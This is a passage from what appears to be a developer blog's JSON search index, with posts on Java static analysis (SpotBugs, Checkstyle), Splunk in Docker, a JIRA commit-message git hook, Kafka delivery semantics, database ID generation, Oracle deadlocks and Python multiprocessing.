\u0026lt;/Match\u0026gt; \u0026lt;!-- Is done actually only once, no harm in it --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;DMI_RANDOM_USED_ONLY_ONCE\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.util.HttpString\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;EQ_COMPARETO_USE_OBJECT_EQUALS\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.handlers.encoding.EncodingMapping\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;~.*AlpnOpenListener\\$ListenerEntry\u0026#34;/\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- MCMPAdvertiseTask is used only as single background thread for doing advertising --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;STCAL_INVOKE_ON_STATIC_DATE_FORMAT_INSTANCE\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.handlers.proxy.mod_cluster.MCMPAdvertiseTask\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!--We don\u0026#39;t care whether it is Runtime or checked exception--\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;REC_CATCH_EXCEPTION\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.handlers.security.SSLInformationAssociationHandler\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;getCerts\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!--Ignoring checking for examples--\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Package name=\u0026#34;~io\\.undertow\\.examples.*\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- The proper class type returned is handled by createInstance() method being overridden for each subclass =\u0026gt; ignoring --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;CN_IDIOM_NO_SUPER_CALL\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.api.SecurityInfo\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.api.AuthMethodConfig\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.api.DeploymentInfo\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.api.LoginConfig\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.api.FilterInfo\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.api.ServletInfo\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.websockets.jsr.WebSocketDeploymentInfo\u0026#34;/\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- intentional --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;DM_DEFAULT_ENCODING\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.spec.ServletPrintWriterDelegate\u0026#34;/\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;UG_SYNC_SET_UNSYNC_GET\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.spec.AsyncContextImpl\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;RV_RETURN_VALUE_IGNORED_NO_SIDE_EFFECT\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;DLS_DEAD_LOCAL_STORE\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.predicate.PredicatesHandler$RestartHandlerBuilder$1$1\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;handleRequest\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Method is actually fine--\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;NP_NONNULL_PARAM_VIOLATION\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.protocol.http.AlpnOpenListener$AlpnConnectionListener\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Field can be modified by code between the first check--\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;RCN_REDUNDANT_NULLCHECK_WOULD_HAVE_BEEN_A_NPE\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.client.http.HttpClientConnection$ClientReadListener\u0026#34; /\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Comparison of cookies path and domain with == before invoking equals is necessary because both could be null; only if the == fails we check for one of them != null \u0026amp;\u0026amp; equals the other --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;ES_COMPARING_STRINGS_WITH_EQ\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.servlet.spec.HttpServletResponseImpl\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;addCookie\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;/FindBugsFilter\u0026gt; ","permalink":"https://madhur.co.in/blog/2020/02/02/must-have-java-code-analysis-tools-part2.html","summary":"\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/blog/2020/01/26/must-have-java-code-analysis-tools-part1.html\"\u003eMust have Java code analysis Tools - Part 1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/blog/2020/02/15/must-have-java-code-analysis-tools-part3.html\"\u003eMust have Java code analysis Tools - Part 3\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn the last post, we looked at \u003ca href=\"https://github.com/checkstyle/checkstyle\"\u003echeckstyle\u003c/a\u003e, which focuses on the code linting at the source level.\u003c/p\u003e\n\u003cp\u003eIn this post, we will look at \u003ca href=\"https://spotbugs.github.io/\"\u003eSpotBugs\u003c/a\u003e, which is a successor of \u003ca href=\"http://findbugs.sourceforge.net/\"\u003eFindBugs\u003c/a\u003e. SpotBugs works at the bytecode level instead of the source level. Hence it is able, to find out possible bugs in your java code.\u003c/p\u003e","title":"Must have Java code analysis Tools - Part 2"},{"content":" Must have Java code analysis Tools - Part 2 Must have Java code analysis Tools - Part 3 When you are working in a big team ( \u0026gt; 5 engineers), It is very important to have consistent code styling, development environment and code review process. As a reviewer, its very difficult I see different class naming conventions everytime, unused variables or imports etc. Hence, its very important that a team shares same coding styles and coding standards.\nIn this post, we will look at checkstyle , a tool that helps developers adhere to coding standards. Checkstyle operates at the source level, i.e. even before the compile phase has started\nRunning with build process The code analysis tools such as checkstyle are most useful when integrated with build process as useful reports can be generated and even build can be failed to enforce the standards.\nFor example, We use the following section in pom.xml to run checkstyle as part of build process\n\u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;org.apache.maven.plugins\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;maven-checkstyle-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.1.0\u0026lt;/version\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;configLocation\u0026gt;./checks.xml\u0026lt;/configLocation\u0026gt; \u0026lt;encoding\u0026gt;UTF-8\u0026lt;/encoding\u0026gt; \u0026lt;consoleOutput\u0026gt;true\u0026lt;/consoleOutput\u0026gt; \u0026lt;failsOnError\u0026gt;true\u0026lt;/failsOnError\u0026gt; \u0026lt;linkXRef\u0026gt;false\u0026lt;/linkXRef\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;executions\u0026gt; \u0026lt;execution\u0026gt; \u0026lt;id\u0026gt;validate\u0026lt;/id\u0026gt; \u0026lt;phase\u0026gt;validate\u0026lt;/phase\u0026gt; \u0026lt;goals\u0026gt; \u0026lt;goal\u0026gt;check\u0026lt;/goal\u0026gt; \u0026lt;/goals\u0026gt; \u0026lt;/execution\u0026gt; \u0026lt;/executions\u0026gt; \u0026lt;/plugin\u0026gt; Here setting failsOnError attribute true causes the build to fail if violations are fail. The file checks.xml specifies the styling configuration. I used the modified google check style to make our own styling conventions.\n","permalink":"https://madhur.co.in/blog/2020/01/26/must-have-java-code-analysis-tools-part1.html","summary":"\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/blog/2020/02/02/must-have-java-code-analysis-tools-part2.html\"\u003eMust have Java code analysis Tools - Part 2\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/blog/2020/02/15/must-have-java-code-analysis-tools-part3.html\"\u003eMust have Java code analysis Tools - Part 3\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWhen you are working in a big team ( \u0026gt; 5 engineers), It is very important to have consistent code styling, development environment and code review process. As a reviewer, its very difficult I see different\nclass naming conventions everytime, unused variables or imports etc. Hence, its very important that a team shares same coding styles and coding standards.\u003c/p\u003e","title":"Must have Java code analysis Tools - Part 1"},{"content":"Recently, I tried to try out the Splunk for log aggregation instead of ELK stack. I wanted to see what are the advantages of it over ELK. Well, that\u0026rsquo;s reserved for another post.\nHowever, I faced an issue as soon as I start the splunk container.\nhomePath=\u0026#39;/opt/splunk/var/lib/splunk/audit/db\u0026#39; of index=_audit on unusable filesystem. Validating databases (splunkd validatedb) failed with code \u0026#39;1\u0026#39; The problem is that splunk relies on the filesystem with the locking mechanism while the OSX does not have that functionality.\nThe solution is to use the option OPTIMISTIC_ABOUT_FILE_LOCKING=1 in the splunk configuration file splunk-launch.conf. For this, I mounted both the configuration (/opt/splunk/etc) and the data directory (/opt/splunk/var) of the splunk through the host machines. This also helps preserves configuration and data in case of docker container exits.\nThe following docker-compose.yaml works perfectly fine for testing out splunk through docker.\nversion: \u0026#34;3.7\u0026#34; services: splunk: image: splunk/splunk:7.2.6 environment: - SPLUNK_START_ARGS=--accept-license - SPLUNK_PASSWORD=****** volumes: - /log:/log - ./opt-splunk-etc:/opt/splunk/etc - ./opt-splunk-var:/opt/splunk/var ports: - 8000:8000 forwarder: image: splunk/universalforwarder:7.2.6 environment: - SPLUNK_START_ARGS=--accept-license - SPLUNK_PASSWORD==****** volumes: - /log:/log ports: - 9997:9997 ","permalink":"https://madhur.co.in/blog/2020/01/18/running-splunk-docker-osx.html","summary":"\u003cp\u003eRecently, I tried to try out the \u003ca href=\"https://www.splunk.com/\"\u003eSplunk\u003c/a\u003e for log aggregation instead of \u003ca href=\"https://www.elastic.co/what-is/elk-stack\"\u003eELK stack\u003c/a\u003e. I wanted to see what are the advantages of it over ELK. Well, that\u0026rsquo;s reserved for another post.\u003c/p\u003e\n\u003cp\u003eHowever, I faced an issue as soon as I start the splunk container.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003ehomePath\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/opt/splunk/var/lib/splunk/audit/db\u0026#39;\u003c/span\u003e of \u003cspan class=\"nv\"\u003eindex\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e_audit on unusable filesystem. Validating databases \u003cspan class=\"o\"\u003e(\u003c/span\u003esplunkd validatedb\u003cspan class=\"o\"\u003e)\u003c/span\u003e failed with code \u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe problem is that splunk relies on the filesystem with the locking mechanism while the OSX does not have that functionality.\u003c/p\u003e","title":"Running splunk on docker on OSX"},{"content":"Recently, we implemented a policy where every commit message includes the JIRA ID from the committer. This makes sure that every change to repo is tagged against either a user story or an issue which helps in traceability. Initially, it was difficult and users used to forget it. We had a github hook which would validate the commit message and reject the updates to the remote repo. Users would then amend the commit using git commit --amend or even git rebase -i HEAD~n if there are multiple commits to be amended.\nFortunately, there is a provision in git itself which can validate your commit message in the local repo itself. All you to have to do is make a copy of .git/prepare-commit-msg.sample to .git/prepare-commit-msg and then include your logic there. We used a convention that users create branch name with JIRA ID itself and this script can pickup the JIRA ID from the branch name itself. In the worst case, while working with branches such as staging, master, release etc, the users can provide the JIRA ID in the commit message. If there is no JIRA ID provided, the commit will be aborted with an error.\nBelow is the snippet I used, written in ruby\n#!/usr/bin/env ruby # Git Prepare Commit Message Hook Script # # Location: \u0026lt;repository\u0026gt;/.git/hooks/prepare-commit-msg # # This script will automatically add the correct # JIRA ISSUE ID to the end of each commit message # When the branch ID starts with the JIRA ISSUE ID. # It can be overridden if specified in the message. # # Example: # # jira-123/branch-name =\u0026gt; \u0026#39;JIRA-123 commit message\u0026#39; # # The name of the commit file is the first argument message_filename = ARGV[0] #puts filename: message_filename # Read the contents of the commit file message = File.read(message_filename) #puts message: message # Match a JIRA ID in the commit message that jira_pattern = /^([A-Z]{1,32}-[0-9]{1,32})\\s/ # Capture the JIRA ID if one is present in the commit message jira_id = message[jira_pattern, 1] #puts jira_id: jira_id # Do nothing if the commit message has a JIRA ID if jira_id.nil? # Otherwise we need to add one to the message # Grab the current git branch current_branch_name = `git rev-parse --abbrev-ref HEAD` exit if current_branch_name[/^(master|develop|release|hotfix)/] # Match the JIRA ID at the beginning of the branch name jira_branch_pattern = /^([a-zA-Z]{1,32}-[0-9]{1,32})[-_\\/]?/ # Capture the JIRA ID from the branch name jira_branch_id = current_branch_name[jira_branch_pattern, 1] #puts jira_branch_id: jira_branch_id if jira_branch_id.nil? || jira_branch_id.empty? # Blow up and let the user know they\u0026#39;re missing a JIRA ID raise \u0026#34;Commit message missing JIRA ID and/or branch name does not have one\u0026#34; else # Append a link to the JIRA issue and the JIRA ID to the message jira_url = \u0026#34;https://jira.walmart.com/browse/#{jira_branch_id}\u0026#34; new_message = \u0026#34;#{jira_branch_id.upcase} - #{message}\\n#{jira_url}\\n\u0026#34; #puts new_message: message # Write the updated message back to the commit file File.open(message_filename, \u0026#39;w\u0026#39;) { |f| f.write(new_message) } end end ","permalink":"https://madhur.co.in/blog/2020/01/12/git-prepare-commit-message-jira-id.html","summary":"\u003cp\u003eRecently, we implemented a policy where every commit message includes the JIRA ID from the committer. This makes sure that every change to repo is tagged against either a user story or an issue which helps in traceability. Initially, it was difficult and users used to forget it. We had a github hook which would validate the commit message and reject the updates to the remote repo. Users would then amend the commit using\n\u003ccode\u003egit commit --amend\u003c/code\u003e or even \u003ccode\u003egit rebase -i HEAD~n\u003c/code\u003e if there are multiple commits to be amended.\u003c/p\u003e","title":"Ensuring git commit messages contain JIRA ID"},{"content":"If you read books you must not miss Goodreads. Despite recent criticism I found its very useful in order to catalogue my books. I mostly purchase physical books from Flipkart and kindle books from Amazon\nOne of the issue I found is that I keep on dabbling across these multiple sites to read user reviews. I recently saw this chrome extension which shows Goodreads reviews on amazon.\nI got motivated to do the same for Flipkart. Hence, I came up with Goodreads for Flipkart chrome extension. This extension shows the Goodreads reviews right on Flipkart book page without having to navigate or click a button. Check out the screenshot below.\nIf you found it useful, do install or have any feedback, leave it on product page\n","permalink":"https://madhur.co.in/blog/2019/09/13/goodreads-flipkart-chrome-extension.html","summary":"\u003cp\u003eIf you read books you must not miss \u003ca href=\"https://www.goodreads.com\"\u003eGoodreads\u003c/a\u003e. Despite \u003ca href=\"https://onezero.medium.com/almost-everything-about-goodreads-is-broken-662e424244d5\"\u003erecent criticism\u003c/a\u003e I found its very useful in order to catalogue my books. I mostly purchase physical books from \u003ca href=\"https://www.flipkart.com\"\u003eFlipkart\u003c/a\u003e\nand kindle books from \u003ca href=\"https://www.amazon.in\"\u003eAmazon\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eOne of the issue I found is that I keep on dabbling across these multiple sites to read user reviews. I recently saw this \u003ca href=\"https://chrome.google.com/webstore/detail/goodreads-ratings-for-ama/fkkcefhhadenobhjnngfdahhlodolkjg?hl=en\"\u003echrome extension\u003c/a\u003e which shows Goodreads reviews on amazon.\u003c/p\u003e\n\u003cp\u003eI got motivated to do the same for Flipkart. Hence, I came up with \u003ca href=\"https://chrome.google.com/webstore/detail/goodreads-for-flipkart/fjjkbkjfdcfehnphamihbglmjoglpjee\"\u003eGoodreads for Flipkart\u003c/a\u003e chrome extension. This extension shows the Goodreads reviews right on Flipkart book page without having to navigate or click a button. Check out the screenshot below.\u003c/p\u003e","title":"Goodreads For Flipkart"},{"content":"What is kafka rebalancing? Every consumer in a consumer group is assigned one or more topic partitions exclusively and rebalance is re-assignment of partition ownership among consumers.\nIt can happen when:\na consumer joins the group a consumer shuts down a consumer is considered dead new partitions are added Starting from version 0.8.2.0, the offsets committed by the consumers aren’t saved in ZooKeeper but on a partitioned and replicated topic named __consumer_offsets, which is hosted on the Kafka brokers in the cluster.\nReplaying messages Kafka (starting with version 0.10.1.0) allows you to search message offsets by timestamp. Most language implementations of Kafka API provide corresponding functions/API to perform such a search. Using this API, you can program your consumer to determine the offset of the message that appeared in its assigned partition at or immediately after a certain point of time. When configured for replaying, the consumer can thus determine the offset for a given timestamp, and simply flag it as the “committed” offset. Once this is done, the consumer will start consuming messages from that point onwards, until the the message at the latest offset is consumed. This effectively achieves the “rewind and replay” objective.\n","permalink":"https://madhur.co.in/blog/2019/08/31/kafka-rebalancing.html","summary":"\u003ch2 id=\"what-is-kafka-rebalancing\"\u003eWhat is kafka rebalancing?\u003c/h2\u003e\n\u003cp\u003eEvery consumer in a consumer group is assigned one or more topic partitions exclusively and rebalance is re-assignment of partition ownership among consumers.\u003c/p\u003e\n\u003cp\u003eIt can happen when:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ea consumer joins the group\u003c/li\u003e\n\u003cli\u003ea consumer shuts down\u003c/li\u003e\n\u003cli\u003ea consumer is considered dead\u003c/li\u003e\n\u003cli\u003enew partitions are added\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eStarting from version 0.8.2.0, the offsets committed by the consumers aren’t saved in ZooKeeper but on a partitioned and replicated topic named \u003ccode\u003e__consumer_offsets\u003c/code\u003e, which is hosted on the Kafka brokers in the cluster.\u003c/p\u003e","title":"Kafka rebalancing"},{"content":"In any distributed system, one of the primary problem statement every engineer faces is the id generation for an entity. In this post, we are going to look at the id generation strategies at a very high level. I wanted to have a quick reference or a cheat sheet to lookup for a problem like this:\nDesign considerations\nShould the ids be sortable?\nThe system should introduce as few new ‘moving parts’ as possible\nShould the id be generated at server or database?\nLet your database handle it This is usually the best strategy. Because your database engine will handle any collisions etc. For MySQL, it can be autoincrement number. The con of an autoincrement number is it is susceptible to attacks. You do not want your autoincrement ids to be exposed to public in the form of Order number etc. They also don\u0026rsquo;t work with sharded databases.\nIn case you are using, Java with Hibernate JPA, it can be configured as follows:\nIdentity The GenerationType.IDENTITY is the easiest to use but not the best one from a performance point of view. It relies on an auto-incremented database column and lets the database generate a new value with each insert operation. From a database point of view, this is very efficient because the auto-increment columns are highly optimized, and it doesn’t require any additional statements.\n@Id @GeneratedValue(strategy = GenerationType.IDENTITY) @Column(name = \u0026#34;id\u0026#34;, updatable = false, nullable = false) private Long id; Sequence The GenerationType.SEQUENCE is my preferred way to generate primary key values and uses a database sequence to generate unique values.\nIt requires additional select statements to get the next value from a database sequence. But this has no performance impact for most applications.\nNote that custom sequences are not supported by MySQL. @Id @GeneratedValue(strategy = GenerationType.SEQUENCE) @Column(name = \u0026#34;id\u0026#34;, updatable = false, nullable = false) private Long id; Table The GenerationType.TABLE gets only rarely used nowadays. It simulates a sequence by storing and updating its current value in a database table which requires the use of pessimistic locks which put all transactions into a sequential order. This slows down your application, and you should, therefore, prefer the GenerationType.SEQUENCE, if your database supports sequences, which most popular databases do.\n@Id @GeneratedValue(strategy = GenerationType.TABLE) @Column(name = \u0026#34;id\u0026#34;, updatable = false, nullable = false) private Long id; UUID UUIDs are 128-bit hexadecimal numbers that are globally unique. The chances of the same UUID getting generated twice is negligible.\nThe problem with UUIDs is that they are very big in size and don’t index well. When your dataset increases, the index size increases as well and the query performance takes a hit.\nIf you use a timestamp as the first component of the ID, the IDs remain time-sortable Another component like twitter snowflake Twitter snowflake is a dedicated component just for generating ids. I am not sure if its good to have this a new component in your infrastructure.\nConclusion MySQL does not support custom sequences. So if you are using mysql and want to avoid auto-increment ids, your only bet is server side. UUID has performance impact on indexing Auto-increment keys are not possible in sharded databases References Sharding \u0026amp; IDs at Instagram\n","permalink":"https://madhur.co.in/blog/2019/08/19/id-generation-strategies.html","summary":"\u003cp\u003eIn any distributed system, one of the primary problem statement every engineer faces is the id generation for an entity. In this post, we are going to look at the id generation strategies at a very high level. I wanted to have a quick reference or a cheat sheet to lookup for a problem like this:\u003c/p\u003e\n\u003cp\u003eDesign considerations\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eShould the ids be sortable?\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eThe system should introduce as few new ‘moving parts’ as possible\u003c/p\u003e","title":"id generation strategies"},{"content":"Ever since I have started working with Kafka, I have came across these terms very frequently, Atleast once, Atmost once and Exactly Once.\nAs an engineer, It is very important to understand these concepts.\nAt-most once Configuration As the name suggests, At-most-once means the message will be delivered atmost once. Once delivered, there is no chance of delivering again. If the consumer is unable to handle the message due to some exception, the message is lost. This is because Kafka is automatically commiting the last offset used.\nSet enable.auto.commit to true Set auto.commit.interval.ms to low value Since auto.commit is set to true, there is no need to call consumer.commitSync() from the consumer. Note that it is also possible to have at-lest-once scenario with the same configuration. Let\u0026rsquo;s say consumer successfully processed the message successfully into its store and in the meantime before kafka could commit the offset, consumer was restarted. In this scenario, consumer would again get the same message.\nHence, even if using at-most once or at-least once configuration, consumer should be always prepared to handle the duplicates.\nAt-least once configuration At-least once as the name suggests, message will be delivered atleast once. There is high chance that message will be delivered again as duplicate.\nSet enable.auto.commit to false OR Consumer should now then take control of the message offset commits to Kafka by making the consumer.commitSync() call. Let\u0026rsquo;s say consumer has processed the messages and committed the messages to its local store, but consumer crashes and did not get a chance to commit offset to Kafka before it has crashed. When consumer restarts, Kafka would deliver messages from the last offset, resulting in duplicates.\nExactly-once configuration Exactly-once as the name suggests, there will be only one and once message delivery. It difficult to achieve in practice.\nIn this case offset needs to be manually managed.\nSet enable.auto.commit to false Do not make call to consumer.commitSync() Implement a ConsumerRebalanceListener and within the listener perform consumer.seek(topicPartition,offset); to start reading from a specific offset of that topic/partition. While processing the messages, get hold of the offset of each message. Store the processed message’s offset in an atomic way along with the processed message using atomic-transaction. When data is stored in relational database atomicity is easier to implement. For non-relational data-store such as HDFS store or No-SQL store one way to achieve atomicity is as follows: Store the offset along with the message. ","permalink":"https://madhur.co.in/blog/2019/08/04/atleast-once-atmost-once-exactly-once.html","summary":"\u003cp\u003eEver since I have started working with Kafka, I have came across these terms very frequently, Atleast once, Atmost once and Exactly Once.\u003c/p\u003e\n\u003cp\u003eAs an engineer, It is very important to understand these concepts.\u003c/p\u003e\n\u003ch2 id=\"at-most-once-configuration\"\u003eAt-most once Configuration\u003c/h2\u003e\n\u003cp\u003eAs the name suggests, At-most-once means the message will be delivered atmost once. Once delivered, there is no chance of delivering again. If the consumer is unable to handle the message due to some exception, the message is lost. This is because Kafka is automatically commiting the last offset used.\u003c/p\u003e","title":"Meaning of atleast once, atmost once and exactly once delivery"},{"content":"Recently, our application has been generating lot of deadlocks in Oracle database. The application uses Optimistic concurrency control\nError: ORA-00060: deadlock detected while waiting for resource\nIn an optimistic concurrency control, transactions use data resources without acquiring locks on the resources. Before committing, each transaction verifies that no other transaction has modified the data it has read. If the check reveals conflicting modifications, the committing transaction rolls back and can be restarted.\nWhich begs the questions, why should there be a deadlock at all in optimistic concurrency control?\nThe key point to understand here first is that Optimistic locking is not a feature provided by DBMS engine. Databases just provide mechanism to initiate transactions, rollbacks, versioning and locks. Ultimately, it is upto the application to implement either optimistic locking or pessimistic locking.\nAn example of implementing optimistic locking is as follows:\nSELECT address_line1, city, state, zip, version FROM addressTable WHERE address_id = `\u0026lt;\u0026lt;some key\u0026gt;\u0026gt;` When you are about to do the update, you use the version in your update and throw an error if the row changed:\nUPDATE addressTable SET address_line1 = `\u0026lt;\u0026lt;new address line 1\u0026gt;\u0026gt;`, city = `\u0026lt;\u0026lt;new city\u0026gt;\u0026gt;`, state = `\u0026lt;\u0026lt;new state\u0026gt;\u0026gt;`, zip = `\u0026lt;\u0026lt;new zip\u0026gt;\u0026gt;`, version = version + 1 WHERE address_id = `\u0026lt;\u0026lt;some key\u0026gt;\u0026gt;` AND version = `\u0026lt;\u0026lt;version you read initially\u0026gt;\u0026gt;` IF( SQL%ROWCOUNT = 0 ) THEN RAISE_APPLICATION_ERROR( -20001, \u0026#39;Oops, the row has changed since you read it.\u0026#39; ); END IF; However, it is possible for a deadlock to occur in oracle, because of the way transactions are implemented in database engines.\nBEGIN; -- in one connection UPDATE thing_1; UPDATE thing_2; COMMIT; BEGIN; -- in another connection, at the \u0026#34;exact same time\u0026#34; UPDATE thing_2; UPDATE thing_1; COMMIT; This is the classic example of a deadlock\nAfter a few seconds, Oracle will detect the deadlock and pick one of the sessions and ‘rollback’ the statement. This is where we see our first misunderstanding about deadlocks.\nOracle does not kill the session. Oracle does not kill the transaction. Oracle only kills the statement. Oracle does rollback the failing statement, but Oracle does not rollback the entire transaction that the failing statement is part of. (Correction by Mark Bobak.) PMON (Process Monitor) does not clear out the locks. It is the responsibility of the session that detects the “ORA-00060 deadlock detected while waiting for resource” error to trap and handle the error by issuing a rollback (or a commit) command. Only once this has been done will the other session be able to continue.\n","permalink":"https://madhur.co.in/blog/2019/08/02/deadlocks-optimistic-locking.html","summary":"\u003cp\u003eRecently, our application has been generating lot of deadlocks in Oracle database. The application uses \u003ca href=\"https://en.wikipedia.org/wiki/Optimistic_concurrency_control\"\u003eOptimistic concurrency control\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eError: ORA-00060: deadlock detected while waiting for resource\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIn an optimistic concurrency control, transactions use data resources without acquiring locks on the resources. Before committing, each transaction verifies that no other transaction has modified the data it has read. If the check reveals conflicting modifications, the committing transaction rolls back and can be restarted.\u003c/p\u003e","title":"Deadlocks in Optimistic locking"},{"content":"Recently, I was required to process bunch of huge CSV and perform the output. I wrote a simple python program but it was dreadfully slow.\nI thought why not make it process through multiple threads. Python is notorious for not having a good support for concurrency. Some of it is because of its Global Interpreter lock\nRecent versions of python \u0026gt; 3.x , do have multiprocessing and multithreading modules built in.\nHonestly, I find the whole world of multiprocessing / multithreading very confusing in python world.\nBelow is a sample program, which reads the CSV line by line and submits it to a pool of 50 workers, running concurrently.\nfrom multiprocessing import Pool from random import randint from time import sleep import csv import requests import json def orders_v4(order_number): response = requests.request(\u0026#34;GET\u0026#34;, url, headers=headers, params=querystring, verify=False) return response.json() newcsvFile=open(\u0026#39;gom_acr_status.csv\u0026#39;, \u0026#39;w\u0026#39;) writer = csv.writer(newcsvFile) def process_line(row): ol_key = row[\u0026#39;ORDER_LINE_KEY\u0026#39;] order_number=row[\u0026#39;ORDER_NUMBER\u0026#39;] orders_json = orders_v4(order_number) oms_order_key = orders_json[\u0026#39;oms_order_key\u0026#39;] order_lines = orders_json[\u0026#34;order_lines\u0026#34;] for order_line in order_lines: if ol_key==order_line[\u0026#39;order_line_key\u0026#39;]: print(order_number) print(ol_key) ftype = order_line[\u0026#39;fulfillment_spec\u0026#39;][\u0026#39;fulfillment_type\u0026#39;] status_desc = order_line[\u0026#39;statuses\u0026#39;][0][\u0026#39;status_description\u0026#39;] print(ftype) print(status_desc) listrow = [ol_key, order_number, ftype, status_desc] writer.writerow(listrow) newcsvFile.flush() def get_next_line(): with open(\u0026#34;gom_acr.csv\u0026#34;, \u0026#39;r\u0026#39;) as csvfile: reader = csv.DictReader(csvfile) for row in reader: yield row f = get_next_line() t = Pool(processes=50) for i in f: results = t.map_async(process_line, (i,)) results.get() ","permalink":"https://madhur.co.in/blog/2019/07/14/concurrency-python.html","summary":"\u003cp\u003eRecently, I was required to process bunch of huge CSV and perform the output. I wrote a simple python program but it was dreadfully slow.\u003c/p\u003e\n\u003cp\u003eI thought why not make it process through multiple threads. Python is notorious for not having a good support for concurrency. Some of it is because of its \u003ca href=\"https://realpython.com/python-gil/\"\u003eGlobal Interpreter lock\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eRecent versions of python \u0026gt; 3.x , do have multiprocessing and multithreading modules built in.\u003c/p\u003e","title":"Concurrency in Python"},{"content":"One of the disadvantages of microservice event based architectures is that there is lot of parallel processing of a single entity across multiple modules. There are many cases we want the parallelism but at the same time, want the messages to be processed in ordered manner.\nThere are several design pattern to solve this problem:\nKafka solves this through partitions. A topic can be split into partitions. Messages are guaranteed to be in order within a single partition. You can have multiple consumers consuming from each partition separately providing for scalability and ordering. This design assumes that each consumer is single threaded and processing the messages one after other. In practical, scenarios this is usually not the case.\nOne of the solution is to use SEDA queue. Camel has a dedicated page on Parallelism and ordering\nThere is whitepaper titles A Scalable Architecture for Ordered Parallelism I haven\u0026rsquo;t gone through it yet.\nAre there other methods 